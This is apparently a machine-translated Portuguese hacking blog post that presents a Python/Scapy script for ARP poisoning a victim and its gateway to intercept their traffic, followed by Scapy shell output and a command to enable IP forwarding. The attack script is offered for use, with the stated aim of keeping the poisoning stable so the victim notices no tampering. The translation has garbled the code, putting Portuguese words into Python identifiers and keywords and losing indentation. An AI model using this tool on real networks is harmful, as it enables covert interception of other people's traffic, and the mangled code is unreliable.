Ok, eu sei que faz muito tempo que não posto nada aqui ou pratico/aprendo hacking em geral. Achei que deveria incluir isso. Uma das coisas básicas que um hacker pode fazer é se tornar o roteador para alguém que está falsificando o ARP (também conhecido como envenenamento por ARP). Dessa forma, você pode interceptar/sniffar o tráfego entre dois hosts. Embora a ferramenta original que faz isso seja ótima, deve ser divertido entender como ela funciona; e até melhorá-lo, que é o que farei.

Então, vamos supor que você usou o netdiscover para escanear a rede em que está em busca do endereço MAC da vítima, você o tem em mãos e deseja enganar a tabela ARP da vítima para que o gateway se torne você em vez do roteador real da rede. Então Scapy se torna sua ferramenta para o resgate. Agora, o problema com a forma como o ARP spoofing é tradicionalmente feito é que você abre dois terminais, então em um terminal você está falsificando o gateway para a vítima e no outro você está enganando o gateway para pensar que tem o endereço MAC da vítima. O problema com isso é que, devido à natureza de como os pacotes estão sendo enviados, o tempo está desativado e seus pacotes de resposta ARP usados ​​para enganar a vítima não serão enviados através do NIC fazendo o envenenamento de maneira fluida. O que acontecerá é que a vítima terá sua conexão continuamente caindo porque o roteador reconfigurará as respostas ARP para corresponder ao padrão. Isso é um problema para o hacker porque dá evidências de adulteração e a subversão estará em risco.

Então, pensei, por que não enviar os pacotes dentro do mesmo programa para que os pacotes possam fluir de maneira adequada para que a vítima mantenha o envenenamento consistente? Então eu fiz isso depois de 3 horas de procrastinação e muito esforço necessário usando Python3:

#!/usr/bin/python3
import scapy.all as scapy
from optparse import OptionParser
import subprocess
import re

#Isto é para obter os argumentos
def getParams():
parser=OptionParser()
parser.add_option("-i", "--pinterface", dest="PoisonInterface", help="Definir interface para executar Poison With")
parser .add_option("-v", "--victim", dest="vicIP", help="Definir endereço IP da vítima")
parser.add_option("-m", "--victim-mac", dest=" vicMAC", help="Definir o endereço MAC da vítima")
parser.add_option("-g", "--default-gateway", dest="defaultGateway", help="Definir o gateway padrão")
options=parser.parse_args ()[0]
opções de retorno

#Isso é para extrair os detalhes da interface de envenenamento
def intExtract(interface):
command = subprocess.check_output(["ip","link","show", interface]).decode()
mac=re.search(r"\ w\w:\w\w:\w\w:\w\w:\w\w:\w\w", comando)
comando = subprocess.check_output(["ip","endereço","mostrar" , interface]).decode()
ip= re.search(r"\d+\.\d+\.\d+\.\d+",comando)
return (mac.group(0),ip.group(0))

#Obviamente para realizar o envenenamento
def poison(pMAC,pIP,vMAC,vIP,dg):
#Cria um pacote de resposta com a opção 2 que significa "has-ip", ntoe psrc e hwsrc
poisonPkt=scapy.Ether(src=pMAC, dst=vMAC)/scapy.ARP(op=2,pdst=vIP,hwsrc=pMAC, psrc=dg, hwdst=vMAC)
#Cria uma resposta para o gateway pensar que está falando com a vítima
poisonPktGW=scapy.ARP(op= 2,pdst=dg, hwsrc=vMAC,psrc=pIP)

Mande para os pacotes de veneno!
while(1):
scapy.sendp(poisonPkt)
scapy.sendp(poisonPktGW)

if __name__ == '__main__':
#Obtenha os argumentos
inputs=getParams()
pinterface=inputs.PoisonInterface
vitimaIP=inputs.vicIP
vitimaMAC=inputs.vicMAC
gateway= inputs.defaultGateway

#Extrair informações da interface do veneno
extração=intExtrair(pinterface)
poisonerIP=extração[1]
poisonerMAC=extração[0]

#Realize o envenenamento!
veneno(envenenadorMAC,envenenadorIP,victimMAC,victimIP,gateway)

Um programador experiente pode reconhecer o que fiz aqui e, como sou preguiçoso, nem me preocupei em enviar multithread os pacotes de veneno, embora pudesse, não é realmente necessário. Agora, se você estudou redes, saberia que os quadros (OH DEUS sim, eu sei que ignoro a abstração entre pacotes e quadros, mas tente manter o pensamento simples) são o que realmente funciona para fazer os pacotes fluirem, o trabalho da rede devices é literalmente transportar o pacote, mas cada vez que está passando por um dispositivo o cabeçalho da Camada 2 é retirado do quadro, deixando apenas o pacote IP, e então criar um novo quadro com um novo cabeçalho contendo o MAC de destino sendo o MAC do próximo dispositivo para o qual ele vai. Maravilhoso!

Portanto, mencione isso porque você pode literalmente manipular os endereços MAC ou endereços IP de origem e destino usando o Scapy. Pessoalmente, adoro o Scapy porque é nativo das distribuições Linux que possuem o Python instalado. Então, vamos abrir o Scapy e enquanto eu passo por esses comandos, quero que você preste atenção no que estou fazendo para examinar o conteúdo do pacote, você obterá um curso rápido e fácil sobre como construir qualquer maldito pacote da maneira você deseja para qualquer protocolo.

$scapy
INFO: Não é possível importar matplotlib. Não será capaz de traçar.
INFORMAÇÃO: Não é possível importar PyX. Não será capaz de usar psdump() ou pdfdump().
AVISO: Nenhuma rota encontrada para o destino IPv6 :: (nenhuma rota padrão?)
INFO: Não é possível importar python-cryptography v1.7+. Descriptografia/criptografia WEP desabilitada. (Dot11)
INFO: Não é possível importar a criptografia python v1.7+. Criptografia/autenticação IPsec desativada.

aSPY//YASa
apyyyyCY//////////YCa |
sY//////YSpcs scpCY//Pp | Bem-vindo ao Scapy
ayp ayyyyyyySCP//Pp syY//C |
AYAsAYYYYYYYY///Ps cY//S |
pCCCCY//p cSSps y//Y |
SPPPP///a pP///AC//Y |
A//A cyP////C | Divirta-se!
p///Ac sC///a |
P////YCpc A//A | Estamos na França, dizemos Skappee.
scccccp///pSP///pp//Y | OK? Merci.
sY/////////y caa S//P | -- Sebastien Chabal
cayCyayP//Ya pY/Ya |
sY/PsY////YCc aC//Yp
sc sccaCY//PCypaapyCP//YSs
spCPY//////YPSps
ccaacs
using IPython 7.14.0
>>> lsc()
sendp : Envia pacotes na camada 2
... .
>>> ls()
AH : AH
AKMSuite : AKM suite
ARP : ARP
...
>>> ARP().show()
###[ ARP ]###
hwtype= 0x1
ptype= IPv4
hwlen= Nenhum
plen= Nenhum
op= quem tem
hwsrc= c4:e9:84:xx:xx:xx
psrc= 10.0.0.5
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0
>>> print(sendp.__doc__)
Envia pacotes na camada 2
sendp(packets, [inter=0], [loop=0], [iface=None], [iface_hint=None], [count=None], [verbose =conf.verb], # noqa: E501
[realtime=None], [return_packets=False], [socket=None]) -> None

>>> print(sr1.__doc__)
Envia pacotes na camada 3 e retorna apenas a primeira resposta
pks: Instância SuperSocket para enviar/receber pacotes
pkt: o pacote para enviar
rcv_pks: se definido, será usado no lugar de pks para receber pacotes.
pacotes ainda serão enviados através
de pks nofilter: coloque 1 para evitar o uso de filtros BPF
retry: se positivo, quantas vezes reenviar pacotes não respondidos
se negativo, quantas vezes repetir quando nenhum pacote
for respondido
timeout: quanto tempo esperar depois que o último pacote foi enviado
verbose: define o nível de verbosidade
multi: aceita ou não múltiplas respostas para o mesmo estímulo
store_unanswered: se deseja armazenar pacotes não respondidos ou não.
defini-lo como False aumentará a velocidade e retornará
None como a lista unans.
process: se especificado, apenas o resultado do process(pkt) será armazenado.
a função deve seguir o seguinte formato:
lambda enviado, recebido: (func(enviado), func2(recebido))
se o pacote não for respondido, `recebido` será Nenhum.
se `store_unanswered` for False, a função não será chamada em
pacotes não respondidos.
prebuild: pré-construa os pacotes antes de começar a enviá-los. Automaticamente
ativado quando um gerador é passado como o pacote

>>> Ether().show()
AVISO: Endereço Mac para alcançar o destino não encontrado. Usando transmissão.
###[ Ethernet ]###
dst= ff:ff:ff:ff:ff:ff
src= c4:e9:84:14:e4:06
type= LOOP

>>> frame=Ether()/ARP()
>>> frame.show()
AVISO: getmacbyip falhou em [Errno 1] Operação não permitida
AVISO: Endereço Mac para alcançar o destino não encontrado. Usando transmissão.
###[ Ethernet ]###
dst= ff:ff:ff:ff:ff:ff
src= c4:e9:84:14:e4:06
type= ARP
###[ ARP ]###
hwtype= 0x1
ptype= IPv4
hwlen= Nenhum
plen= Nenhum
op= quem tem
hwsrc= c4:e9:84:14:e4:06
psrc= 10.0.0.5
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0

>>>

Se você for inteligente o suficiente, poderá deduzir o que está acontecendo. As linhas na função Poison() no meu script ARP spoof devem permitir que você coloque 2 mais dois juntos. Algo a observar é que todos os dispositivos possuem um cronômetro em seus caches ARP. Isso deve dar alguma margem de manobra para pensar sobre como se defender do envenenamento por agianst.

Ah, e se você precisar de ajuda para entender as strings regex, aprenda como usar isso: https://pythex.org/ Essencialmente
, digamos que eu queira extrair a primeira ocorrência de um IP deste comando:

inet 10.0.0.9/24 brd 10.0.0.255 escopo dinâmico global noprefixroute wlp1s0f0u4
valid_lft 73272seg preferido_lft 73272seg
inet6 fe80::6936:ebd2:7241:eaf/64 link de escopo noprefixroute
válido_lft para sempre preferido_lft para sempre

Então, olhando para a diretriz fornecida em Pythex, "\w\w:" deve corresponder a todas as ocorrências de c4: e assim por diante. Brinque com isso, as strings regex são predominantemente importantes para o engenheiro de rede Python experiente e o desenvolvedor Django.

Lembre-se sempre que o envenenamento não pode funcionar a menos que você tenha sua máquina de hackers encaminhando os pacotes, para fazer isso, leia isto: https://www.ducea.com/2006/08/01/how-to … arding-in- linux/
e apenas executar:

sysctl -w net.ipv4.ip_forward=1 #pode ser necessário sudo